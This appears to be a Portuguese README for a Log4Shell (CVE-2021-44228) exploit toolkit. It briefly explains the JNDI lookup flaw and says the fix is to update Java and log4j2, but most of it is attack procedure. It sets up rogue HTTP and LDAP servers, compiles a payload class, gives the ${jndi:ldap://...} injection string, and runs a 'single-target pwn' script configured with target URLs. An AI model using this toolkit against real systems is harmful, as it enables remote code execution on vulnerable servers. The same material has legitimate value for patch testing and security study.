
CVE-2021-44228
Esta vulnerabilidade fundamental foi relatada por [CVE-2018-3149](https://nvd.nist.gov/vuln/detail/CVE-2018-3149) e corrigida por [este artigo. (8u121 Release Notes)](https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)
No entanto, a biblioteca de logging para java chamada log4j2 tinha (JNDILookup)[CVE-2021-44228](https://github.com/apache/logging-log4j2/blob/20f9a97dbe5928c3b5077bcdd2a22ac92e941655/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java), que permitia acesso a protocolos como LDAP, o que permitia injeção de código em versões mais antigas do java.
Versões corrigidas do java podem prevenir injeção de código, mas `JNDILookup` faz requisição ao servidor ldap, o que pode levar a vazamentos de IP.
A solução é atualizar as versões do **Java** e do **log4j2**.
cd http-server && npm install && cd ../ldap-server && npm install
http-server e ldap-server amboscd http-server && node index.js &
cd ldap-server && node index.js
# Isto irá gerar Main.java - necessário para injeção de código.
# OSx
./java-single-compile <Main.java>
# Linux
javac <Main.java>
# Você ainda pode usar o log4j-client no repositório para testes internos.
cd log4j-client &&\
gradle jar &&\
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/log4j-client-1.0-SNAPSHOT.jar
# Ou executar outra aplicação, com.sun.jndi.ldap.object.trustURLCodebase=true é necessário para injeção de código, caso contrário fará apenas requisição ao servidor ldap.
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar <javafile.jar>
${jndi:ldap://127.0.0.1:3001/}
NODEP=`pgrep node`
for id in $NODEP; do
kill $id
done
# Pwn de alvo único
# Editar exploit-configs.txt com url e parâmetros
cd scripts/single-pwn && python3 __main__.py
Consulte a Licença no arquivo LICENSE